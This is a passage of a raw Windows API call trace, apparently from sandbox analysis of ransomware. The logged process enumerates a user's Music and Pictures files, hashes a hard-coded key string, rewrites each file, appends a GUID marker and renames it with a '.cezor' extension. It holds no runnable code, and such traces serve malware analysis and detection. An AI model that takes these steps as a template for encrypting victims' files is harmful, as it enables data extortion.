pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.154] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.154] GetLastError () returned 0x0 [0061.154] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.154] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.154] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x572c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.155] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.155] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.155] CloseHandle (hObject=0x5c4) returned 1 [0061.156] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\twAQxH8FOS.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\twaqxh8fos.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\twAQxH8FOS.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\twaqxh8fos.m4a.cezor")) returned 1 [0061.157] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x771aa3a0, ftCreationTime.dwHighDateTime=0x1d4d425, ftLastAccessTime.dwLowDateTime=0x48fa930, ftLastAccessTime.dwHighDateTime=0x1d4c9e3, ftLastWriteTime.dwLowDateTime=0x48fa930, ftLastWriteTime.dwHighDateTime=0x1d4c9e3, nFileSizeHigh=0x0, nFileSizeLow=0x5f26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W783g cZVYe_Q3ZTfs.mp3", cAlternateFileName="W783GC~1.MP3")) returned 1 [0061.157] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\W783g cZVYe_Q3ZTfs.mp3") returned=".mp3" [0061.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\W783g cZVYe_Q3ZTfs.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\w783g czvye_q3ztfs.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.157] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=24358) returned 1 [0061.157] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.159] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.159] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.160] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x5f26, lpOverlapped=0x0) returned 1 [0061.160] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.160] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.160] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.160] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.161] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.161] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.161] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.161] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.161] GetLastError () returned 0x0 [0061.161] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.161] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.161] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.161] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.161] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.161] CloseHandle (hObject=0x5c4) returned 1 [0061.162] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\W783g cZVYe_Q3ZTfs.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\w783g czvye_q3ztfs.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\W783g cZVYe_Q3ZTfs.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\w783g czvye_q3ztfs.mp3.cezor")) returned 1 [0061.163] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52de2a80, ftCreationTime.dwHighDateTime=0x1d4cc18, ftLastAccessTime.dwLowDateTime=0xd6993e80, ftLastAccessTime.dwHighDateTime=0x1d4d1b5, ftLastWriteTime.dwLowDateTime=0xd6993e80, ftLastWriteTime.dwHighDateTime=0x1d4d1b5, nFileSizeHigh=0x0, nFileSizeLow=0x18cde, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_BaDSqvWqTCo.m4a", cAlternateFileName="_BADSQ~1.M4A")) returned 1 [0061.164] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\_BaDSqvWqTCo.m4a") returned=".m4a" [0061.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\_BaDSqvWqTCo.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\_badsqvwqtco.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.164] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=101598) returned 1 [0061.164] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.165] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18cb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.166] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.166] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x18cde, lpOverlapped=0x0) returned 1 [0061.167] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.167] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.167] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.167] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.168] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.168] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.168] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.168] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.168] GetLastError () returned 0x0 [0061.168] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.168] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.169] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18cde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.169] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.169] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.169] CloseHandle (hObject=0x5c4) returned 1 [0061.170] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\_BaDSqvWqTCo.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\_badsqvwqtco.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\_BaDSqvWqTCo.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\_badsqvwqtco.m4a.cezor")) returned 1 [0061.171] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52de2a80, ftCreationTime.dwHighDateTime=0x1d4cc18, ftLastAccessTime.dwLowDateTime=0xd6993e80, ftLastAccessTime.dwHighDateTime=0x1d4d1b5, ftLastWriteTime.dwLowDateTime=0xd6993e80, ftLastWriteTime.dwHighDateTime=0x1d4d1b5, nFileSizeHigh=0x0, nFileSizeLow=0x18cde, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_BaDSqvWqTCo.m4a", cAlternateFileName="_BADSQ~1.M4A")) returned 0 [0061.171] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.171] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.171] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.172] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\") returned="1oLW\\" [0061.172] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0061.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.172] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.172] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.172] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.172] PathFindFileNameW (pszPath="") returned="" [0061.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.172] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a3f40, ftCreationTime.dwHighDateTime=0x1d4c9e3, ftLastAccessTime.dwLowDateTime=0x66099ba0, ftLastAccessTime.dwHighDateTime=0x1d4caa4, ftLastWriteTime.dwLowDateTime=0x66099ba0, ftLastWriteTime.dwHighDateTime=0x1d4caa4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.172] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a3f40, ftCreationTime.dwHighDateTime=0x1d4c9e3, ftLastAccessTime.dwLowDateTime=0x66099ba0, ftLastAccessTime.dwHighDateTime=0x1d4caa4, ftLastWriteTime.dwLowDateTime=0x66099ba0, ftLastWriteTime.dwHighDateTime=0x1d4caa4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.172] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1f329d0, ftCreationTime.dwHighDateTime=0x1d4cff2, ftLastAccessTime.dwLowDateTime=0x92904d60, ftLastAccessTime.dwHighDateTime=0x1d4d03d, ftLastWriteTime.dwLowDateTime=0x92904d60, ftLastWriteTime.dwHighDateTime=0x1d4d03d, nFileSizeHigh=0x0, nFileSizeLow=0x12b6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-ExuX9LOjl2Rf0Z.png", cAlternateFileName="-EXUX9~1.PNG")) returned 1 [0061.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.172] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0061.172] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.172] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\-ExuX9LOjl2Rf0Z.png") returned=".png" [0061.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\-ExuX9LOjl2Rf0Z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\-exux9lojl2rf0z.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.173] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=76652) returned 1 [0061.173] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.175] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12b46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.175] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.176] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.176] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.176] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x12b6c, lpOverlapped=0x0) returned 1 [0061.176] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.176] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.176] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.176] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.176] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.177] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.177] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.177] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.177] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.177] GetLastError () returned 0x0 [0061.177] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.177] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x12b70) returned 0x3132418 [0061.178] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.178] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x12b67, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x12b67, lpOverlapped=0x0) returned 1 [0061.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.178] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12b6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.178] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.179] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.179] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.179] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.179] CloseHandle (hObject=0x5c4) returned 1 [0061.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0061.180] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0061.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0061.180] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\-ExuX9LOjl2Rf0Z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\-exux9lojl2rf0z.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\-ExuX9LOjl2Rf0Z.png.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\-exux9lojl2rf0z.png.cezor")) returned 1 [0061.180] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.180] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.181] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4da6ded0, ftCreationTime.dwHighDateTime=0x1d4c697, ftLastAccessTime.dwLowDateTime=0x8deb0f80, ftLastAccessTime.dwHighDateTime=0x1d4d433, ftLastWriteTime.dwLowDateTime=0x8deb0f80, ftLastWriteTime.dwHighDateTime=0x1d4d433, nFileSizeHigh=0x0, nFileSizeLow=0xde2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3mlI5OW4Ceei.png", cAlternateFileName="3MLI5O~1.PNG")) returned 1 [0061.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0061.181] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.181] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\3mlI5OW4Ceei.png") returned=".png" [0061.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\3mlI5OW4Ceei.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\3mli5ow4ceei.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.182] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=56879) returned 1 [0061.182] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.184] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xde09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.184] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.185] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.185] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.185] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xde2f, lpOverlapped=0x0) returned 1 [0061.185] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.185] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.185] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.185] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.185] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.186] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.186] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.186] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.186] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.186] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.186] GetLastError () returned 0x0 [0061.186] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.186] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.186] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xde30) returned 0x3132418 [0061.187] SetFilePointer (in: hFile=0x5c4, 